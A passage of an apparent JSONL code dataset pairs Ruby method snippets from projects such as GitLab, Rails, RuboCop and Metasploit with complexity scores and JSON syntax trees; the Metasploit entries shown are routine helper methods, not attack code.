|\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block_argument_node\"]},\"source\"]}]},{\"type\":\"str\",\"children\":[\"| \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"condition_node\"]},\"source\"]}]},{\"type\":\"str\",\"children\":[\" }\"]}]}]},{\"type\":\"send\",\"children\":[null,\"ignore_node\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]}]}]}","id":"0ff1399e-026c-4c45-98d3-3820923c18e8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/types/projects/topic_type.rb","start_line":27,"raw_source":"def avatar_url\n        object.avatar_url(only_path: false)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"avatar_url\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"avatar_url\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"only_path\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}","id":"ba106360-70d7-4aff-bacc-1ae0ce19cffe"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/enum_wayback.rb","start_line":67,"raw_source":"def write_output(data)\n    print_status(\"Writing URLs list to #{datastore['OUTFILE']}...\")\n    file_name = datastore['OUTFILE']\n    if FileTest::exist?(file_name)\n      print_status(\"OUTFILE already existed, appending..\")\n    else\n      print_status(\"OUTFILE did not exist, creating..\")\n    end\n\n    File.open(file_name, 'ab') do |fd|\n      fd.write(data)\n    end\n  end","complexity_score":14.1,"ast_json":"{\"type\":\"def\",\"children\":[\"write_output\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Writing URLs list to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"OUTFILE\"]}]}]},{\"type\":\"str\",\"children\":[\"...\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"file_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"OUTFILE\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileTest\"]},\"exist?\",{\"type\":\"lvar\",\"children\":[\"file_name\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"OUTFILE already existed, appending..\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"OUTFILE did not exist, creating..\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"open\",{\"type\":\"lvar\",\"children\":[\"file_name\"]},{\"type\":\"str\",\"children\":[\"ab\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"fd\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fd\"]},\"write\",{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}]}]}","id":"c8f02600-34b8-4406-9f49-0afac35a2e5a"}
{"repo_name":"reek","file_path":"./repos/reek/lib/reek/ast/sexp_extensions/arguments.rb","start_line":12,"raw_source":"def marked_unused?\n          plain_name.start_with?('_')\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"marked_unused?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"plain_name\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\"_\"]}]}]}","id":"528df7cb-4311-45f8-927c-b20662396fe8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20251001140352_add_uuid_to_vulnerabilities.rb","start_line":14,"raw_source":"def down\n    with_lock_retries do\n      remove_column :vulnerabilities, :uuid, if_exists: true\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"vulnerabilities\"]},{\"type\":\"sym\",\"children\":[\"uuid\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"b8292d3f-e71f-40e4-8890-46eabe2d93dd"}
{"repo_name":"sidekiq","file_path":"./repos/sidekiq/lib/sidekiq/web/helpers.rb","start_line":294,"raw_source":"def parse_key(key)\n      score, jid = key.split(\"-\", 2)\n      [score.to_f, jid]\n    end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_key\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"score\"]},{\"type\":\"lvasgn\",\"children\":[\"jid\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"split\",{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"score\"]},\"to_f\"]},{\"type\":\"lvar\",\"children\":[\"jid\"]}]}]}]}","id":"0ee8be86-fa84-46ba-8a47-920f4fc2546b"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/budgets/app/models/budget.rb","start_line":142,"raw_source":"def labor_budget\n    @labor_budget ||= labor_budget_items.visible_costs.inject(BigDecimal(\"0.0000\")) { |sum, i| sum += i.costs }\n  end","complexity_score":11.3,"ast_json":"{\"type\":\"def\",\"children\":[\"labor_budget\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@labor_budget\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"labor_budget_items\"]},\"visible_costs\"]},\"inject\",{\"type\":\"send\",\"children\":[null,\"BigDecimal\",{\"type\":\"str\",\"children\":[\"0.0000\"]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sum\"]},{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sum\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"costs\"]}]}]}]}]}","id":"ba45af1f-5735-4ced-a8d0-3ca5491d658c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250915200514_create_authentication_event_archived_records.rb","start_line":9,"raw_source":"def up\n    create_table :authentication_event_archived_records, id: false do |t|\n      t.bigint :id, null: false\n      t.datetime_with_timezone :created_at, null: false\n      t.bigint :user_id\n      t.integer :result, limit: 2, null: false\n      t.inet :ip_address\n      t.text :provider, null: false\n      t.text :user_name, null: false\n      t.datetime_with_timezone :archived_at, default: -> { 'CURRENT_TIMESTAMP' }\n    end\n\n    execute \"ALTER TABLE authentication_event_archived_records ADD PRIMARY KEY (id)\"\n\n    add_text_limit :authentication_event_archived_records, :user_name, 255\n    add_text_limit :authentication_event_archived_records, :provider, 64\n  end","complexity_score":16.95,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"authentication_event_archived_records\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"datetime_with_timezone\",{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"result\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"inet\",{\"type\":\"sym\",\"children\":[\"ip_address\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"provider\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"user_name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"datetime_with_timezone\",{\"type\":\"sym\",\"children\":[\"archived_at\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"str\",\"children\":[\"CURRENT_TIMESTAMP\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"ALTER TABLE authentication_event_archived_records ADD PRIMARY KEY (id)\"]}]},{\"type\":\"send\",\"children\":[null,\"add_text_limit\",{\"type\":\"sym\",\"children\":[\"authentication_event_archived_records\"]},{\"type\":\"sym\",\"children\":[\"user_name\"]},{\"type\":\"int\",\"children\":[255]}]},{\"type\":\"send\",\"children\":[null,\"add_text_limit\",{\"type\":\"sym\",\"children\":[\"authentication_event_archived_records\"]},{\"type\":\"sym\",\"children\":[\"provider\"]},{\"type\":\"int\",\"children\":[64]}]}]}]}","id":"b9d8b245-3432-4cae-8cc5-0ea6039a0320"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/test_case.rb","start_line":219,"raw_source":"def helper_method(*methods)\n          # Almost a duplicate from ActionController::Helpers\n          methods.flatten.each do |method|\n            _helpers_for_modification.module_eval <<~end_eval, __FILE__, __LINE__ + 1\n              def #{method}(...)                    # def current_user(...)\n                _test_case.send(:'#{method}', ...)  #   _test_case.send(:'current_user', ...)\n              end                                   # end\n            end_eval\n          end\n        end","complexity_score":12.05,"ast_json":"{\"type\":\"def\",\"children\":[\"helper_method\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"methods\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"methods\"]},\"flatten\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"method\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_helpers_for_modification\"]},\"module_eval\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"def \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method\"]}]},{\"type\":\"str\",\"children\":[\"(...)                    # def current_user(...)\\n\"]},{\"type\":\"str\",\"children\":[\"  _test_case.send(:'\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method\"]}]},{\"type\":\"str\",\"children\":[\"', ...)  #   _test_case.send(:'current_user', ...)\\n\"]},{\"type\":\"str\",\"children\":[\"end                                   # end\\n\"]}]},{\"type\":\"str\",\"children\":[\"(method)\"]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[4]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}","id":"d162da04-5d75-409c-934f-67413e3035d0"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exception.rb","start_line":194,"raw_source":"def initialize(msg=\"A target has not been selected.\")\n    super(msg)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"msg\",{\"type\":\"str\",\"children\":[\"A target has not been selected.\"]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]}]}]}","id":"c721a7de-3067-4a62-aecc-6269ce745c7c"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/ordered_options_test.rb","start_line":138,"raw_source":"def test_ordered_option_inspect\n    a = ActiveSupport::OrderedOptions.new\n    assert_equal \"#<ActiveSupport::OrderedOptions {}>\", a.inspect\n\n    a.foo   = :bar\n    a[:baz] = :quz\n\n    assert_equal \"#<ActiveSupport::OrderedOptions #{{ foo: :bar, baz: :quz }}>\", a.inspect\n  end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_ordered_option_inspect\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"a\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"OrderedOptions\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"#<ActiveSupport::OrderedOptions {}>\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a\"]},\"inspect\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a\"]},\"foo=\",{\"type\":\"sym\",\"children\":[\"bar\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"baz\"]},{\"type\":\"sym\",\"children\":[\"quz\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"#<ActiveSupport::OrderedOptions \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"foo\"]},{\"type\":\"sym\",\"children\":[\"bar\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"baz\"]},{\"type\":\"sym\",\"children\":[\"quz\"]}]}]}]},{\"type\":\"str\",\"children\":[\">\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a\"]},\"inspect\"]}]}]}]}","id":"d66fc713-4d7b-4b19-b98f-5868919bc16f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/runners/assign_runner_service.rb","start_line":13,"raw_source":"def initialize(runner, project, user, quiet: false)\n        @runner = runner\n        @project = project\n        @user = user\n        @quiet = quiet\n      end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"runner\"]},{\"type\":\"arg\",\"children\":[\"project\"]},{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"kwoptarg\",\"children\":[\"quiet\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@runner\",{\"type\":\"lvar\",\"children\":[\"runner\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@project\",{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@user\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@quiet\",{\"type\":\"lvar\",\"children\":[\"quiet\"]}]}]}]}","id":"35504a19-1466-420b-a6c7-0091393dd2dd"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/not.rb","start_line":32,"raw_source":"def on_send(node)\n          return unless node.prefix_not?\n\n          add_offense(node.loc.selector) do |corrector|\n            range = range_with_surrounding_space(node.loc.selector, side: :right)\n\n            if opposite_method?(node.receiver)\n              correct_opposite_method(corrector, range, node.receiver)\n            elsif requires_parens?(node.receiver)\n              correct_with_parens(corrector, range, node)\n            else\n              correct_without_parens(corrector, range)\n            end\n          end\n        end","complexity_score":25.5,"ast_json":"{\"type\":\"def\",\"children\":[\"on_send\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"prefix_not?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"selector\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"range\",{\"type\":\"send\",\"children\":[null,\"range_with_surrounding_space\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"selector\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"side\"]},{\"type\":\"sym\",\"children\":[\"right\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"opposite_method?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"receiver\"]}]},{\"type\":\"send\",\"children\":[null,\"correct_opposite_method\",{\"type\":\"lvar\",\"children\":[\"corrector\"]},{\"type\":\"lvar\",\"children\":[\"range\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"receiver\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"requires_parens?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"receiver\"]}]},{\"type\":\"send\",\"children\":[null,\"correct_with_parens\",{\"type\":\"lvar\",\"children\":[\"corrector\"]},{\"type\":\"lvar\",\"children\":[\"range\"]},{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[null,\"correct_without_parens\",{\"type\":\"lvar\",\"children\":[\"corrector\"]},{\"type\":\"lvar\",\"children\":[\"range\"]}]}]}]}]}]}]}]}","id":"95163481-44d2-4d96-8d6e-644feb2c612e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/backup/targets/files.rb","start_line":185,"raw_source":"def backup_files_realpath\n        @backup_files_realpath ||= backup_basepath.join(File.basename(@storage_path))\n      end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"backup_files_realpath\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@backup_files_realpath\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"backup_basepath\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"basename\",{\"type\":\"ivar\",\"children\":[\"@storage_path\"]}]}]}]}]}","id":"172215dd-e9c7-4945-a6c4-3cca45a7d4c4"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi_railgun.rb","start_line":25,"raw_source":"def self.has_command?(name)\n            Dispatchers.any? { |klass| klass.has_command?(name) }\n          end","complexity_score":3.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"has_command?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dispatchers\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"has_command?\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}","id":"0a52469b-2000-4cc3-afda-40449a30a7b0"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/rpc/v10/rpc_db.rb","start_line":557,"raw_source":"def rpc_workspaces\n    db_check\n\n    res = {}\n    res[:workspaces] = []\n    self.framework.db.workspaces.each do |j|\n      ws = {}\n      ws[:id] = j.id\n      ws[:name] = j.name\n      ws[:created_at] = j.created_at.to_i\n      ws[:updated_at] = j.updated_at.to_i\n      res[:workspaces] << ws\n    end\n    res\n  end","complexity_score":25.4,"ast_json":"{\"type\":\"def\",\"children\":[\"rpc_workspaces\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"db_check\"]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"workspaces\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"framework\"]},\"db\"]},\"workspaces\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"j\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ws\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ws\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"j\"]},\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ws\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"j\"]},\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ws\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"j\"]},\"created_at\"]},\"to_i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ws\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"updated_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"j\"]},\"updated_at\"]},\"to_i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"workspaces\"]}]},\"<<\",{\"type\":\"lvar\",\"children\":[\"ws\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"res\"]}]}]}","id":"c3d26e03-3f43-4e68-912e-ab7c43abf39e"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/space_around_keyword.rb","start_line":245,"raw_source":"def accept_left_square_bracket?(range)\n          ACCEPT_LEFT_SQUARE_BRACKET.include?(range.source)\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"accept_left_square_bracket?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"range\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ACCEPT_LEFT_SQUARE_BRACKET\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"range\"]},\"source\"]}]}]}","id":"daf4e86f-4f53-4954-b41a-5f2830b6f082"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/build_report_result_service.rb","start_line":47,"raw_source":"def test_case_hashes(build, test_suite)\n      [].tap do |hashes|\n        test_suite.each_test_case do |test_case|\n          key = \"#{build.project_id}-#{test_case.key}\"\n          hashes << Digest::SHA256.hexdigest(key)\n        end\n      end\n    end","complexity_score":10.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_case_hashes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"build\"]},{\"type\":\"arg\",\"children\":[\"test_suite\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hashes\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"test_suite\"]},\"each_test_case\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"test_case\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"build\"]},\"project_id\"]}]},{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"test_case\"]},\"key\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hashes\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Digest\"]},\"SHA256\"]},\"hexdigest\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]}]}]}]}","id":"f4cd2fd6-b2b8-427c-a93e-c0c0a2614d2d"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/components/common/submenu.rb","start_line":89,"raw_source":"def search_for_item(name)\n      within \"#main-menu\" do\n        page.find_test_selector(\"op-submenu--search-input\").set(name)\n      end\n    end","complexity_score":5.9,"ast_json":"{\"type\":\"def\",\"children\":[\"search_for_item\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within\",{\"type\":\"str\",\"children\":[\"#main-menu\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"find_test_selector\",{\"type\":\"str\",\"children\":[\"op-submenu--search-input\"]}]},\"set\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}","id":"259d47bb-c3e0-4c36-94a7-1d7134df0c57"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/images/generate_social_image_magickally.rb","start_line":144,"raw_source":"def upload_result(result)\n      tempfile = Tempfile.new([\"output\", \".png\"])\n      result.write tempfile.path\n      image_uploader = ArticleImageUploader.new.tap do |uploader|\n        uploader.store!(tempfile)\n      end\n      # Don't forget to close and unlink (delete) the tempfile after you're done with it.\n      tempfile.close\n      tempfile.unlink\n\n      # Return the uploaded url\n      image_uploader.url\n    